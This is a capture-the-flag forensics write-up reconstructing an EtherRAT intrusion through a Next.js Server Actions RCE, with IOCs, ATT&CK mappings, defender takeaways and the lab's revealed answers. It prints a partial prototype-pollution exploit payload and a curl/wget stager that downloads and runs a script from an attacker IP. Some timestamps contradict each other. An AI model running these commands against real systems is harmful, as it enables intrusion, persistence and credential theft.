// CyberDefenders  ·  Network Forensics

CallMeOnTheChain - EtherRAT

CyberDefenders Medium Wireshark, uniq, sort, tshark, Etherscan.io
Initial Access, Execution, Persistence, Privilege Escalation, Command and Control

Scenario

Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorised external source. The trail led back to a single server — their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.


Methodology

Decrypting the PCAP

The lab provides both a PCAP and an sslkeys.log. Loading the key log into Wireshark (Edit → Preferences → TLS → Pre-Master-Secret log) decrypts the TLS sessions and surfaces HTTP traffic that would otherwise be invisible. Without this step the entire attack chain remains opaque — this is the starting point for everything that follows.

Identifying the Attacker

Filtering on decrypted HTTP traffic immediately reveals a single external IP conducting automated reconnaissance against maromalix.cloud. At 18:42:13, 63.180.69.24 fires a rapid burst of GET and POST requests across every visible route — /contact, /checkout, /profile, /login, /dashboard — all within the same second, all with User-Agent: python-requests/2.31.0. This isn’t a human browsing; it’s a script mapping the attack surface.

The Exploit — CVE-2025-55182

The probe traffic carries two distinctive headers: Next-Action (a hash identifying a specific server-side function) and Accept: text/x-component (the RSC wire format). This fingerprints the target as a Next.js application using Server Actions. The attacker’s script iterates through routes testing whether the same action hash is callable unauthenticated.

When the probe payload changes from {"id":"test"} to the exploit structure, the attack becomes clear. The malicious payload uses prototype pollution via $1:__proto__:then to hijack the Server Action response pipeline, injecting arbitrary Node.js into the execution context:

{"then": "$1:__proto__:then", "status": "resolved_model", ...,
"_response": {"_prefix": "var res = process.mainModule.require('child_process')
.execSync('...',{'timeout':300000}).toString().trim(); ..."},
"_formData": {"get": "$1:constructor:constructor"}}

This is CVE-2025-55182 — Next.js Server Actions prototype pollution RCE. The Next-Action: x header bypasses the normal action hash lookup. The server returns HTTP 500 (the redirect throw fires after execution), but the execSync has already run.

Stager Delivery

The first live command downloads and executes a shell script from the attacker’s infrastructure:

while :; do (curl -sk https://63.176.62.199:443/s.sh -o ./s.sh 2>/dev/null || \
wget -qO ./s.sh https://63.176.62.199:443/s.sh --no-check-certificate 2>/dev/null) && \
[ -s ./s.sh ] && chmod +x ./s.sh && (nohup ./s.sh >/dev/null 2>&1 &) && break; \
sleep 300; done

The victim pulls s.sh from 63.176.62.199:443 at 18:37:20. Following that HTTP stream reveals the full stager.

s.sh does several things. It creates the hidden malware directory at ~/.local/share/.05bf0e9b, downloads a portable Node.js binary into .4dai8ovb/node so the implant has a guaranteed runtime regardless of the host environment, installs a TLS keylogger hook at /tmp/.font-unix/.fontconfig that intercepts session keys from all future HTTPS connections, writes an AES-256-CBC encrypted blob (.1d5j6rm2mg2d) to disk, then writes and executes a dropper (.kxnzl4mtez.js) that decrypts the blob and launches the main implant.

The dropper uses hardcoded key a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5 and IV d4e5f6a7b8c9d0e1 — AES-256-CBC, base64 encoded blob. Decrypting in CyberChef (From Base64 → AES Decrypt CBC) yields the Stage 3 main implant: EtherRAT.

EtherRAT — Blockchain C2 Resolution

EtherRAT’s most significant capability is using the Ethereum blockchain as a C2 directory. Rather than hardcoding an IP or domain that defenders can block, the implant queries a smart contract on mainnet to retrieve the current C2 URL. This makes traditional IOC-based blocking ineffective — the attacker can update the C2 address on-chain at any time.

The implant configures two contracts — PRIMARY on mainnet, FALLBACK on Sepolia testnet:

const CONTRACTS = [
    {
        name: 'PRIMARY',
        contract: '0x22f96d61cf118efabc7c5bf3384734fad2f6ead4',
        lookup: '0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D'
    },
    {
        name: 'FALLBACK',
        contract: '0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4',
        lookup: '0x1d978D230b51c2eF3Fd780514c00e926ad9A47b1'
    }
];

At 18:37:24, the implant fires eth_call requests simultaneously to eight public Ethereum RPC endpoints — eth.llamarpc.com, mainnet.gateway.tenderly.co, rpc.flashbots.net, and others. It uses a consensus mechanism: whichever URL is returned by the majority of nodes wins. This guards against a single compromised or misbehaving RPC lying about the C2 address.

Following the stream to mainnet.gateway.tenderly.co reveals the raw eth_call response. The hex result decodes to the C2 URL stored in the contract at that moment.

The PRIMARY contract (0x22f96d61cf118efabc7c5bf3384734fad2f6ead4) was deployed to mainnet on 2025-12-05 19:13:47 UTC, roughly two months before the attack. Inspecting the contract’s transaction history on Etherscan shows nine setString calls — the attacker updating the C2 URL over time. The first such transaction (0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d) represents the initial C2 URL publication. Decompiling the unverified bytecode via Dedaub identifies the read function bound to selector 0x7d434425 as getString.

Bot Registration and Multi-Stage Payload Execution

One second after the blockchain query, the implant sends its first beacon to the C2. The bot ID is deterministic — an MD5 of hostname, username, CPU model, and total memory, truncated to 16 hex characters.

The C2 responds to beacon GETs with JavaScript payloads disguised as static assets (.css, .png, .gif, .jpg). Each payload is executed in-memory via AsyncFunction constructor — no files written, no disk artefacts beyond the initial implant. The stages execute in sequence:

Stage 0 (a1d91015.css) and Stage 1 (ce11f8b9.png) collect system reconnaissance — hostname, username, home directory, platform, memory, network interfaces, and checks for .ssh, .aws, .kube, and Docker socket. The recon beacon POSTs to /{botId}.

Stage 1 (4fb4c01f.gif) harvests credentials. It reads AWS credentials, SSH keys, bash history, .env files, and environment variables, filtering for sensitive keywords. The exfiltrated data POSTs to /crypto/keys — a deliberate misdirection, blending credential theft traffic with the blockchain theme of the malware.

The AWS credentials recovered from the victim:

[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[production]
aws_access_key_id = AKIAI44QH8DHBEXAMPLE
aws_secret_access_key = je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

Stage 2 (4971af34.gif) establishes persistence via five separate mechanisms simultaneously — systemd user service, XDG autostart, crontab @reboot entry, .bashrc injection, and .profile injection. The systemd service file is written with a randomly generated name:

/home/maromalix/.config/systemd/user/c16a536e1a9cb42d.service

Stage 3 (28c9f84a.jpg) installs an SSH backdoor. The attacker’s public key is written directly to /home/maromalix/.ssh/authorized_keys, commented maromalix@ether_dev — granting persistent SSH access independent of the C2 channel.

First Remote Command

Stage 4 (0de42efe.jpg) marks the transition from automated deployment to interactive operator control. At 18:40:13 UTC, the first remote command executes: whoami, returning maromalix. This confirms the operator has verified the implant is running and has begun manual post-exploitation.

Closing the Door

After establishing access, the attacker patches the vulnerability they used to get in — locking out any competing threat actors who might exploit the same entry point. Via the CVE, they execute:

cd /home/maromalix/app && rm -rf node_modules .next package-lock.json && \
npm install next@15.3.9 --save --legacy-peer-deps && \
npm install --include=dev --legacy-peer-deps 2>&1 | tail -3

Next.js 15.3.9 patches CVE-2025-55182. The attacker now has exclusive access.

Attribution

The CIS locale blocklist (ru, be, kk, ky, tg, uz, hy, az, ka) is a standard operational security measure used by threat actors who want to avoid affecting CIS-region hosts — commonly seen in DPRK and Russian-nexus malware. Combined with the blockchain C2 evasion technique, multi-stage in-memory payload execution, and the scenario’s explicit reference to AI-assisted tooling, the TTPs align with DPRK-attributed activity.


Attack Summary

Phase Action
Reconnaissance Automated HTTP route enumeration from 63.180.69.24 against maromalix.cloud
Initial Access CVE-2025-55182 Next.js Server Actions prototype pollution RCE via __proto__:then gadget
Execution execSync stager command pulls s.sh from hxxps[://]63[.]176[.]62[.]199:443
Stager s.sh creates hidden dir, deploys portable Node.js, installs TLS keylogger, drops encrypted blob
C2 Resolution EtherRAT queries Ethereum mainnet contract via 8 RPC endpoints to retrieve C2 URL
C2 Establishment Implant beacons to hxxps[://]63[.]176[.]62[.]199:443 with bot ID 4ebfbc8aedf60511
Credential Theft AWS keys, SSH keys, .env files exfiltrated via POST /crypto/keys
Persistence systemd service, XDG autostart, crontab, .bashrc, .profile — five simultaneous methods
SSH Backdoor Attacker public key injected into authorized_keys (maromalix@ether_dev)
Remote Command First interactive command whoami at 2026-02-10 18:40:13 UTC
Defense Evasion Next.js patched to 15.3.9 to block re-exploitation via same CVE

IOCs

Type Value
IP (Attacker/Scanner) 63[.]180[.]69[.]24
IP (C2/Stager Server) 63[.]176[.]62[.]199
URL (Stager) hxxps[://]63[.]176[.]62[.]199:443/s[.]sh
URL (C2) hxxps[://]63[.]176[.]62[.]199:443
Ethereum Contract (Primary) 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4
Ethereum Contract (Fallback) 0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4
Ethereum Deployer Wallet 0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D
File (Stager) s.sh
File (Dropper) .kxnzl4mtez.js
File (Encrypted Blob) .1d5j6rm2mg2d
File (Main Implant) .7vfgycfd01.js
Directory (Malware) ~/.local/share/.05bf0e9b
Bot ID 4ebfbc8aedf60511
SSH Key Comment maromalix@ether_dev
Persistence (systemd) c16a536e1a9cb42d.service
AES Key a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5
AES IV d4e5f6a7b8c9d0e1

MITRE ATT&CK

Technique ID Description
Exploit Public-Facing Application T1190 CVE-2025-55182 Next.js Server Actions RCE
Unix Shell T1059.004 execSync spawning bash commands on victim server
Obfuscated Files or Information: Encrypted/Encoded File T1027.010 Main implant AES-256-CBC encrypted as .1d5j6rm2mg2d
Ingress Tool Transfer T1105 s.sh, portable Node.js binary, and stage payloads pulled from C2
Boot or Logon Autostart: XDG Autostart Entries T1547.013 .desktop autostart entry written to ~/.config/autostart/
Account Manipulation: SSH Authorized Keys T1098.004 Attacker public key injected into authorized_keys
Application Layer Protocol: Web Protocols T1071.001 C2 beaconing over HTTPS mimicking static asset requests
Web Service: Bidirectional Communication T1102.001 Ethereum blockchain used as C2 directory via eth_call
Exfiltration Over C2 Channel T1041 AWS credentials and SSH keys exfiltrated to /crypto/keys
Input Capture: Credential API Hooking T1056.001 TLS keylogger hook intercepts session keys from all HTTPS connections
Scheduled Task/Job: Cron T1053.003 @reboot crontab entry for implant persistence
Indicator Removal T1070 Next.js patched to 15.3.9 post-compromise to close entry point

Defender Takeaways

Patch Server Action frameworks immediately. CVE-2025-55182 exploits a prototype pollution gadget in Next.js Server Actions that allows unauthenticated RCE on any route that handles Server Action requests. The vulnerability exists regardless of authentication state on the route — the Next-Action: x header bypasses action binding entirely. Any Next.js application below 15.3.9 using Server Actions should be treated as critically exposed.

Blockchain-based C2 defeats traditional IOC blocking. EtherRAT resolves its C2 address by calling a smart contract on Ethereum mainnet. Blocking the C2 IP or domain does nothing — the attacker simply calls setString on the contract and all implants pick up the new address on next check-in. Detection needs to shift to monitoring eth_call traffic to public RPC endpoints (eth.llamarpc.com, mainnet.gateway.tenderly.co, etc.) from production servers, which have no legitimate reason to query Ethereum mainnet.

In-memory payload execution leaves minimal forensic footprint. EtherRAT’s stage payloads are delivered over HTTPS as fake static assets and executed entirely in memory via AsyncFunction constructor — no files written to disk, no process spawning, no shell invocation. Traditional EDR file-write and process-creation detections miss this entirely. Network-based detection of the beacon pattern (randomised paths matching /api/{8hex}/{16hex}/{8hex}.{ext}?{param}={16hex}) is more reliable.

TLS session key interception is a real persistence capability. The stager installs a Node.js hook at /tmp/.font-unix/.fontconfig that patches the tls.connect and https.request functions to capture session keys on every future TLS connection. Combined with the PCAP capture the attacker presumably maintained, this retroactively decrypts all past and future HTTPS traffic from the host. Any server-side TLS private key material, credentials, or session tokens transmitted after compromise should be considered exposed.

Five-method persistence is deliberate redundancy. Installing systemd service, XDG autostart, crontab, .bashrc, and .profile entries simultaneously means removing one or two persistence mechanisms leaves the attacker with fallback footholds. Full remediation requires enumerating and removing all five — a forensic checklist approach rather than a targeted fix.


Start your analysis on the pcap. What is the IP address of the attacker that exploited the web application?
Click flag to reveal 63.180.69.24
Now we have the attacker IP we can trace his activity easily. What is the CVE identifier for the vulnerability exploited in this attack?
Click to reveal answer ANSWER
What is the filename of the script downloaded by the exploit payload to install the malware?
Click flag to reveal s.sh
What is the filename of the decrypted implant that serves as the main RAT?
Click to reveal answer .7vfgycfd01.js
What is the hidden directory path used by the malware to store its components?
Click flag to reveal ~/.local/share/.05bf0e9b
The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?
Click to reveal answer ru
What are the two smart contract addresses used for C2 resolution in this malware? (Format: in the order they are queried)
Click flag to reveal 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4
Search the Ethereum network. When was the primary smart contract deployed on the Ethereum network (UTC)?
Click to reveal answer 2025-12-05 19:13:47
Since the smart contract is deployed on a public blockchain, its source code can be obtained. Obtain and decompile the code, what function name is used to retrieve the stored C2 URL?
Click flag to reveal getString
What is the transaction hash of the first C2 URL published to the primary contract?
Click to reveal answer 0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d
When did the implant retrieve the C2 URL from the blockchain (UTC)?
Click flag to reveal 2026-02-10 18:37
What C2 URL did the implant retrieve from the blockchain during execution?
Click to reveal answer https://63.176.62.199:443
What is the Bot ID assigned to the compromised host?
Click flag to reveal 4ebfbc8aedf60511
Once connected to the C2, the implant started executing multi-stage payloads. What is the endpoint path used for exfiltrating harvested credentials?
Click to reveal answer /crypto/keys
What is the filename of the systemd user service created for persistence?
Click flag to reveal c16a536e1a9cb42d.service
What is the comment field in the attacker's injected SSH public key?
Click to reveal answer maromalix@ether_dev
When was the first remote command executed through the C2 channel (UTC)?
Click flag to reveal 2026-02-10 18:40
After establishing access, the attacker closed the door behind them so no one could get in the way they did. What Next.js version was installed to patch the vulnerability?
Click to reveal answer 15.3.9
Based on the observed IOCs and TTPs, which nation-state is most likely behind this activity?
Click flag to reveal DPRK
🔒
// active lab
writeup locked
withheld in accordance with platform guidelines
to avoid spoiling live challenges.
password provided to recruiters on request.